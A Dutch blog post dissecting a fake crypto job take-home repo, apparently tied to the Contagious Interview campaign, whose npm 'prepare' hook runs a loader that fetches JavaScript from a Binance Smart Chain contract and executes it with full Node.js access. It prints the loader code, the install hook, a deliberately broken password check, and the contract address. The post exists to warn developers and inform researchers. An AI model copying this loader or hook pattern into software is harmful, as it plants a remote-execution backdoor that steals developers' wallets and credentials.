Blog
Web3 & Blockchain·7 min read

Anatomie van een Crypto Vacature Scam: Hoe Eén npm Install Je Wallet Kan Leegtrekken

Ik kreeg een GitHub repo als thuisopdracht. Het bleek malware van de blockchain op te halen en uit te voeren zodra je npm install draait.

Jo Vinkenroye·February 25, 2026
Anatomie van een Crypto Vacature Scam: Hoe Eén npm Install Je Wallet Kan Leegtrekken

Een recruiter benaderde me over een Web3-ontwikkelaarspositie bij Limit Break. Goed salaris, interessant project, het hele pakket

Ze stuurden me een GitHub repo om te beoordelen als thuisopdracht. Een pokerplatform gebouwd met React, Express, Socket.io en ethers.js

Ik had het bijna gedraaid

In plaats daarvan besloot ik eerst de code te auditen. Wat ik vond was een geavanceerd malware-afleversysteem dat zijn payload verbergt op de Binance Smart Chain en het uitvoert zodra je npm install typt

Dit is de volledige analyse van hoe het werkt

De Opzet

De repo staat op github.com/LimitBreakOrgs/bet_ver_1. Op het eerste gezicht ziet het er volledig legitiem uit. Nette mappenstructuur, goede README, echte dependencies, honderden regels spellogica

bet_ver_1/
├── server/ # Express backend
│ ├── controllers/ # Auth, chips, users, collection
│ ├── middleware/ # JWT, rate limiting, sanitization
│ ├── pokergame/ # Table, Player, Deck classes
│ └── socket/ # Socket.io game events
├── src/ # React frontend
│ ├── components/ # Poker table UI, cards, betting
│ ├── context/ # State management
│ └── utils/ # MetaMask wallet integration
└── package.json

Er zit zelfs beveiligingsmiddleware in — mongo sanitization, XSS-bescherming, rate limiting, JWT auth. Iemand heeft echt moeite gedaan om dit op een productie-codebase te laten lijken

De Eerste Rode Vlaggen

Toen ik begon te graven, vielen me dingen op die niet klopten

De GitHub org is nep. Het echte Limit Break staat op github.com/limitbreakinc met 18 repo's, Solidity smart contracts en jaren aan geschiedenis. "LimitBreakOrgs" heeft precies één repo, nul publieke leden, twee weken geleden aangemaakt

Schaakevenementen in een pokerspel. Het socket packet bestand definieert events als CS_SelectPiece, CS_PerformMove, CS_PawnTransform. Dit zijn schaakevents. In een pokerapplicatie. De code was duidelijk gekopieerd van meerdere ongerelateerde projecten

Authenticatie is expres kapot. In de auth controller is de wachtwoordcontrole hardcoded:

// server/controllers/auth.js
const isMatch = true; // should be: await bcrypt.compare(password, user.password)

Elk wachtwoord werkt voor elk account. Dit is geen bug — je schrijft niet per ongeluk const isMatch = true en slaat de bcrypt import over

Het .env bestand is gecommit. De .gitignore sluit .env.local uit maar niet .env zelf. Het bestand staat gewoon in de repo met API-sleutels en secrets. Ze willen dat je denkt "oh cool het is klaar om te draaien, ik hoef alleen maar te installeren"

De Val: package.json

Hier wordt het interessant. Kijk naar de scripts sectie:

{
"scripts": {
"start": "node server/server.js | react-scripts start",
"prepare": "node server/server.js"
}
}

Het prepare lifecycle script draait automatisch tijdens npm install. Niet npm start. Niet npm run build. Gewoon npm install

Op het moment dat je dependencies installeert, wordt server/server.js uitgevoerd

De Payload: Malware Gehost op de Blockchain

server.js ziet er normaal uit. Express app, middleware, routes, Socket.io. Maar aan het einde van het opstarten roept het één functie aan:

// server/server.js
const { configureCollection } = require("./controllers/collection");
// ... normale express setup ...
startServer(); // in de listen callback:
configureCollection(); // <-- dit is de trigger

En hier is configureCollection:

// server/controllers/collection.js
const { ethers } = require("ethers");
const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;
const CONTRACT_ABI = [
"function getMemo(uint256) view returns (string)"
];
const TX_ID = 1;
const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);
async function configureCollection() {
const contract = new ethers.Contract(
NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider
);
const memo = await contract.getMemo(TX_ID);
ContentAsWeb(memo);
}

Het maakt verbinding met een smart contract op Binance Smart Chain op adres 0xE251b37Bac8D85984d96da55dc977A609716EBDc. Het leest een memo veld uit transactie ID 1. Dat memo bevat een string

Een string JavaScript code

Dan voert het die uit:

function ContentAsWeb(payload) {
if (!payload || typeof payload !== "string") return;
try {
new Function(payload); // valideert dat het parseerbare JS is
} catch (err) { return; }
try {
const ensureWeb = new Function("require", payload);
ensureWeb(require); // voert uit met volledige Node.js toegang
} catch (err) {
console.error("ensureWeb error", err.message);
}
}

new Function("require", payload) maakt een functie van de string die van de blockchain is opgehaald. Dan voert ensureWeb(require) het uit — waarbij Node.js require wordt meegegeven zodat de payload elke module kan importeren die het wil

Waarom Dit Briljant (en Angstaanjagend) Is

Dit ontwerp is slim om meerdere redenen:

De malware zit niet in de repo. GitHub's beveiligingsscanners, npm audit en elke statische analysetool vinden niets. De daadwerkelijke payload leeft on-chain

Het is veranderlijk. De aanvaller kan het memo veld van het smart contract op elk moment updaten. Vandaag steelt het misschien wallets. Morgen installeert het misschien een keylogger. De repo verandert nooit

Het gebruikt new Function() in plaats van eval(). De meeste linters en beveiligingstools markeren eval(). Minder markeren new Function() hoewel het even gevaarlijk is

De functienamen zijn gecamoufleerd. configureCollection, ContentAsWeb, ensureWeb — dit klinkt allemaal als legitieme hulpfuncties. Je zou elke regel zorgvuldig moeten lezen om te zien wat ze werkelijk doen

Het geeft require expliciet mee. new Function() heeft standaard geen toegang tot de module scope. Door require als parameter mee te geven, krijgt de payload volledige toegang tot Node.js — bestandssysteem, netwerken, child processes, alles

Wat de Payload Kan Doen

Met require beschikbaar kan het on-chain JavaScript:

  • require('fs') — Je SSH-sleutels, walletbestanden, .env bestanden, browserprofielen lezen
  • require('child_process') — Elk shell commando op je machine uitvoeren
  • require('https') — Alles naar de server van de aanvaller sturen
  • require('os') — Je machine fingerprinting, je homedirectory vinden
  • require('path') — Navigeren naar bekende walletlocaties

De typische doellijst voor deze aanvallen: MetaMask vaults, Phantom wallet data, SSH private keys, AWS-inloggegevens, browsercookies, wachtwoordmanager-databases

Het Grotere Plaatje

Dit is geen eenmalig geval. Dit is de Contagious Interview campagne, breed toegeschreven aan Noord-Korea's Lazarus Group. Ze draaien variaties hiervan sinds 2024 en hebben miljoenen gestolen

Het draaiboek is altijd hetzelfde:

  1. Maak een nep bedrijfsprofiel of doe je voor als een echt bedrijf
  2. Benader ontwikkelaars op LinkedIn/Telegram met een vacature
  3. Voer een overtuigend sollicitatieproces
  4. Stuur een "thuisopdracht" GitHub repo
  5. De repo draait malware bij installatie of opstarten
  6. Wallets leegtrekken, inloggegevens stelen, persistente backdoors installeren

Ze richten zich specifiek op crypto-ontwikkelaars omdat crypto-ontwikkelaars doorgaans cryptowallets op hun ontwikkelmachines hebben

Hoe Je Jezelf Beschermt

Voordat je een sollicitatie-thuisopdracht draait:

  1. Verifieer het bedrijf. Controleer de daadwerkelijke GitHub org, niet alleen de naam. Kruisverwijzing met LinkedIn, de bedrijfswebsite en Crunchbase
  2. Lees eerst package.json. Kijk naar prepare, preinstall, postinstall en install scripts. Als een daarvan servercode draait, is dat een rode vlag
  3. Zoek naar new Function, eval, child_process en exec. Dit zijn veelvoorkomende payload-uitvoeringspatronen
  4. Controleer op blockchain-aanroepen in niet-blockchain projecten. Een poker-app hoeft geen ethers.js te gebruiken die bij het opstarten verbinding maakt met BSC
  5. Gebruik een sandbox. Docker container, VM, of op zijn minst een apart gebruikersaccount zonder toegang tot je wallets of inloggegevens
  6. Controleer de .gitignore. Als .env is gecommit met echt uitziende sleutels, willen ze dat je het draait zoals het is zonder na te denken

Algemene hygiëne:

  • Bewaar nooit hot wallets op je ontwikkelmachine
  • Gebruik hardware wallets voor aanzienlijke tegoeden
  • Houd SSH-sleutels beveiligd met een wachtwoordzin
  • Sla geen API-sleutels op in omgevingsvariabelen op je hoofdmachine

Het Contract

Voor de beveiligingsonderzoekers die dit lezen, het kwaadaardige contract staat op:

  • Adres: 0xE251b37Bac8D85984d96da55dc977A609716EBDc
  • Netwerk: Binance Smart Chain (RPC: bsc-dataseed1.binance.org)
  • Methode: getMemo(uint256) met TX_ID 1
  • Repo: github.com/LimitBreakOrgs/bet_ver_1

Als je dit analyseert, doe het in een geïsoleerde omgeving

Laatste Gedachte

Ik had geluk omdat ik paranoïde ben over het draaien van andermans code. Niet iedereen is dat. Als je een ontwikkelaar bent die vacatures krijgt in crypto, begint de code review bij de thuisopdracht zelf — niet bij de code erin

Blijf veilig

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts